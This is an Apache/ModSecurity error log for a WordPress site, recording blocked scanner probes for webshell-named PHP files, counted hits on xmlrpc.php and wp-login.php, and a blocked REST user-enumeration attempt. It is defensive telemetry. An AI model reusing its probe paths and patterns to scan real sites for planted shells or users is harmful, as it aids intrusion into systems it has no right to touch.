[Sat Apr 18 13:47:46.712747 2026] [:error] [pid 13023:tid 13035] [client 4.232.146.182:15817] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpputty.php"] [unique_id "aeMbAv1e7hG8DAeABB-4dgAAAQo"]
[Sat Apr 18 13:47:47.177595 2026] [:error] [pid 9864:tid 9909] [client 4.232.146.182:31501] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpputty.php"] [unique_id "aeMbA4CFeowknfXHM7mnVwAAAEQ"]
[Sat Apr 18 13:47:47.642023 2026] [:error] [pid 9970:tid 9985] [client 4.232.146.182:12572] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpputty.php"] [unique_id "aeMbAyYdRLRhVmaIMx1figAAAMs"]
[Sat Apr 18 13:47:48.119578 2026] [:error] [pid 9970:tid 9996] [client 4.232.146.182:15831] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dodo.php"] [unique_id "aeMbBCYdRLRhVmaIMx1fiwAAANY"]
[Sat Apr 18 13:47:48.598442 2026] [:error] [pid 9970:tid 9991] [client 4.232.146.182:35872] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dodo.php"] [unique_id "aeMbBCYdRLRhVmaIMx1fjAAAANE"]
[Sat Apr 18 13:47:49.075619 2026] [:error] [pid 9970:tid 9984] [client 4.232.146.182:15851] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dodo.php"] [unique_id "aeMbBSYdRLRhVmaIMx1fjwAAAMo"]
[Sat Apr 18 13:47:49.566368 2026] [:error] [pid 34290:tid 34329] [client 4.232.146.182:21374] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dodo.php"] [unique_id "aeMbBRqX6WpmmAXOBi-46AAAAco"]
[Sat Apr 18 13:47:50.043943 2026] [:error] [pid 34237:tid 34248] [client 4.232.146.182:15554] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-post-data.php"] [unique_id "aeMbBhBmX4Wq5a6rxfYwzwAAAUk"]
[Sat Apr 18 13:47:50.540966 2026] [:error] [pid 34288:tid 34301] [client 4.232.146.182:15573] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-post-data.php"] [unique_id "aeMbBuTIiy__PtiLmpmcvQAAAYk"]
[Sat Apr 18 13:47:51.020301 2026] [:error] [pid 9864:tid 9908] [client 4.232.146.182:8506] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-post-data.php"] [unique_id "aeMbB4CFeowknfXHM7mnWQAAAEM"]
[Sat Apr 18 13:47:51.584226 2026] [:error] [pid 9865:tid 9938] [client 4.232.146.182:20246] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-post-data.php"] [unique_id "aeMbB6zb5knECIY-C-gr-QAAAIE"]
[Sat Apr 18 13:47:52.132186 2026] [:error] [pid 9863:tid 9882] [client 4.232.146.182:20277] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeMbCDjjiypiFrTucbKZNwAAAAk"]
[Sat Apr 18 13:47:52.630744 2026] [:error] [pid 13023:tid 13046] [client 4.232.146.182:35874] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeMbCP1e7hG8DAeABB-4fAAAARU"]
[Sat Apr 18 13:47:53.169904 2026] [:error] [pid 9864:tid 9917] [client 4.232.146.182:11597] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeMbCYCFeowknfXHM7mnXAAAAEs"]
[Sat Apr 18 13:47:53.673271 2026] [:error] [pid 34288:tid 34315] [client 4.232.146.182:20279] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeMbCeTIiy__PtiLmpmcwQAAAZc"]
[Sat Apr 18 13:47:54.147390 2026] [:error] [pid 9865:tid 9943] [client 4.232.146.182:31536] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Marvins.php"] [unique_id "aeMbCqzb5knECIY-C-gr-gAAAIY"]
[Sat Apr 18 13:47:54.628770 2026] [:error] [pid 9970:tid 9996] [client 4.232.146.182:35853] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Marvins.php"] [unique_id "aeMbCiYdRLRhVmaIMx1flAAAANY"]
[Sat Apr 18 13:47:55.115130 2026] [:error] [pid 9865:tid 9941] [client 4.232.146.182:12579] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Marvins.php"] [unique_id "aeMbC6zb5knECIY-C-gr_QAAAIQ"]
[Sat Apr 18 13:47:55.609348 2026] [:error] [pid 9970:tid 9974] [client 4.232.146.182:11382] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Marvins.php"] [unique_id "aeMbCyYdRLRhVmaIMx1fmAAAAMA"]
[Sat Apr 18 13:47:56.077090 2026] [:error] [pid 9970:tid 9995] [client 4.232.146.182:6576] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/astab.php"] [unique_id "aeMbDCYdRLRhVmaIMx1fmwAAANU"]
[Sat Apr 18 13:47:56.553352 2026] [:error] [pid 9865:tid 9952] [client 4.232.146.182:35851] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/astab.php"] [unique_id "aeMbDKzb5knECIY-C-gsAQAAAI8"]
[Sat Apr 18 13:47:57.049582 2026] [:error] [pid 9864:tid 9912] [client 4.232.146.182:15839] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/astab.php"] [unique_id "aeMbDYCFeowknfXHM7mnYAAAAEY"]
[Sat Apr 18 13:47:57.536215 2026] [:error] [pid 9863:tid 9890] [client 4.232.146.182:15867] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/astab.php"] [unique_id "aeMbDTjjiypiFrTucbKZOgAAABE"]
[Sat Apr 18 14:25:09.220433 2026] [:error] [pid 9970:tid 9978] [client 128.199.223.38:60416] [client 128.199.223.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.223.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeMjxSYdRLRhVmaIMx1oHAAAAMQ"]
[Sat Apr 18 14:29:29.707385 2026] [:error] [pid 9865:tid 9953] [client 162.222.34.234:53990] [client 162.222.34.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.222.34.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeMkyazb5knECIY-C-g4CwAAAJA"]
[Sat Apr 18 15:24:23.289271 2026] [:error] [pid 13023:tid 13030] [client 178.62.32.109:52540] [client 178.62.32.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.32.109, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeMxp_1e7hG8DAeABB_G6QAAAQU"]
[Sat Apr 18 15:40:49.137661 2026] [:error] [pid 34288:tid 34310] [client 103.124.95.161:43322] [client 103.124.95.161] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.124.95.161, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeM1geTIiy__PtiLmpmyoAAAAZI"]
[Sat Apr 18 15:40:51.090637 2026] [:error] [pid 34288:tid 34306] [client 103.124.95.161:43322] [client 103.124.95.161] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.124.95.161, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeM1g-TIiy__PtiLmpmyoQAAAY4"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 15:57:14.147045 2026] [:error] [pid 9865:tid 9942] [client 41.143.14.57:60600] [client 41.143.14.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.143.14.57, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeM5Wqzb5knECIY-C-hQgAAAAIU"]
[Sat Apr 18 15:57:16.389187 2026] [:error] [pid 9865:tid 9938] [client 41.143.14.57:60600] [client 41.143.14.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.143.14.57, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeM5XKzb5knECIY-C-hQggAAAIE"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 16:01:27.816713 2026] [:error] [pid 9970:tid 9997] [client 50.87.231.172:18530] [client 50.87.231.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.231.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeM6VyYdRLRhVmaIMx14oAAAANc"]
[Sat Apr 18 16:01:30.491644 2026] [:error] [pid 9970:tid 9995] [client 50.87.231.172:18530] [client 50.87.231.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.231.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeM6WiYdRLRhVmaIMx14pQAAANU"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 16:21:56.641508 2026] [:error] [pid 34237:tid 34248] [client 165.255.240.138:34274] [client 165.255.240.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.255.240.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeM_JBBmX4Wq5a6rxfZKQQAAAUk"]
[Sat Apr 18 16:21:58.618141 2026] [:error] [pid 34237:tid 34255] [client 165.255.240.138:34274] [client 165.255.240.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.255.240.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeM_JhBmX4Wq5a6rxfZKRQAAAVA"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 16:28:41.628815 2026] [:error] [pid 9865:tid 9953] [client 59.125.102.226:48918] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeNAuazb5knECIY-C-hYEAAAAJA"]
[Sat Apr 18 17:10:14.884924 2026] [:error] [pid 13023:tid 13037] [client 34.19.67.61:51849] [client 34.19.67.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.19.67.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeNKdv1e7hG8DAeABB_X7wAAAQw"]
[Sat Apr 18 17:10:18.292749 2026] [:error] [pid 13023:tid 13028] [client 34.19.67.61:51849] [client 34.19.67.61] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aeNKev1e7hG8DAeABB_X-QAAAQM"]
[Sat Apr 18 17:10:19.748459 2026] [:error] [pid 13023:tid 13032] [client 34.19.67.61:51849] [client 34.19.67.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.19.67.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeNKe_1e7hG8DAeABB_X_gAAAQc"]
[Sat Apr 18 17:10:21.480813 2026] [:error] [pid 9970:tid 9983] [client 34.19.67.61:58652] [client 34.19.67.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.19.67.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeNKfSYdRLRhVmaIMx2LQQAAAMk"]
[Sat Apr 18 17:10:23.302136 2026] [:error] [pid 34290:tid 34331] [client 34.19.67.61:62476] [client 34.19.67.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.19.67.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeNKfxqX6WpmmAXOBi_jjwAAAcw"]
[Sat Apr 18 17:10:25.063821 2026] [:error] [pid 9863:tid 9897] [client 34.19.67.61:56515] [client 34.19.67.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.19.67.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeNKgTjjiypiFrTucbKy0QAAABg"]
[Sat Apr 18 17:10:39.232681 2026] [:error] [pid 13023:tid 13045] [client 144.76.199.240:44542] [client 144.76.199.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.76.199.240, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeNKj_1e7hG8DAeABB_YLAAAARQ"]
[Sat Apr 18 17:55:06.140847 2026] [:error] [pid 34290:tid 34326] [client 43.167.239.66:43514] [client 43.167.239.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeNU-hqX6WpmmAXOBi_zOgAAAcc"]
[Sat Apr 18 18:14:59.326856 2026] [:error] [pid 9864:tid 9923] [client 52.226.240.29:5760] [client 52.226.240.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.226.240.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeNZo4CFeowknfXHM7nvPgAAAFE"]
[Sat Apr 18 18:41:23.945215 2026] [:error] [pid 34290:tid 34340] [client 137.184.46.218:60218] [client 137.184.46.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.46.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeNf0xqX6WpmmAXOBi8B7AAAAdU"]
[Sat Apr 18 18:41:28.123414 2026] [:error] [pid 34237:tid 34240] [client 138.197.98.9:42730] [client 138.197.98.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.98.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeNf2BBmX4Wq5a6rxfZ7NwAAAUE"]
[Sat Apr 18 18:49:18.858086 2026] [:error] [pid 9864:tid 9925] [client 51.161.86.195:36514] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aeNhroCFeowknfXHM7n6mgAAAFM"]
[Sat Apr 18 18:49:19.949556 2026] [:error] [pid 9864:tid 9928] [client 51.161.86.195:36502] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aeNhr4CFeowknfXHM7n6nAAAAFY"]
[Sat Apr 18 18:49:20.020405 2026] [:error] [pid 34237:tid 34246] [client 51.161.86.195:51390] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aeNhsBBmX4Wq5a6rxfZ9TAAAAUc"]
[Sat Apr 18 18:49:21.932683 2026] [:error] [pid 9864:tid 9926] [client 51.161.86.195:51274] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aeNhsYCFeowknfXHM7n6oQAAAFQ"]
[Sat Apr 18 18:49:21.959760 2026] [:error] [pid 34288:tid 34306] [client 51.161.86.195:51288] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aeNhseTIiy__PtiLmpnJMgAAAY4"]
[Sat Apr 18 18:49:23.856034 2026] [:error] [pid 13023:tid 13046] [client 51.161.86.195:51294] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aeNhs_1e7hG8DAeABB_yAQAAARU"]
[Sat Apr 18 18:49:23.978394 2026] [:error] [pid 9864:tid 9923] [client 51.161.86.195:51308] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aeNhs4CFeowknfXHM7n6owAAAFE"]
[Sat Apr 18 18:49:25.624690 2026] [:error] [pid 9970:tid 9984] [client 51.161.86.195:48744] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aeNhtSYdRLRhVmaIMx2j5wAAAMo"]
[Sat Apr 18 18:49:25.705856 2026] [:error] [pid 9865:tid 9939] [client 51.161.86.195:48754] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aeNhtazb5knECIY-C-h0QwAAAII"]
[Sat Apr 18 18:49:27.418016 2026] [:error] [pid 34290:tid 34323] [client 51.161.86.195:48764] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aeNhtxqX6WpmmAXOBi8DkwAAAcQ"]
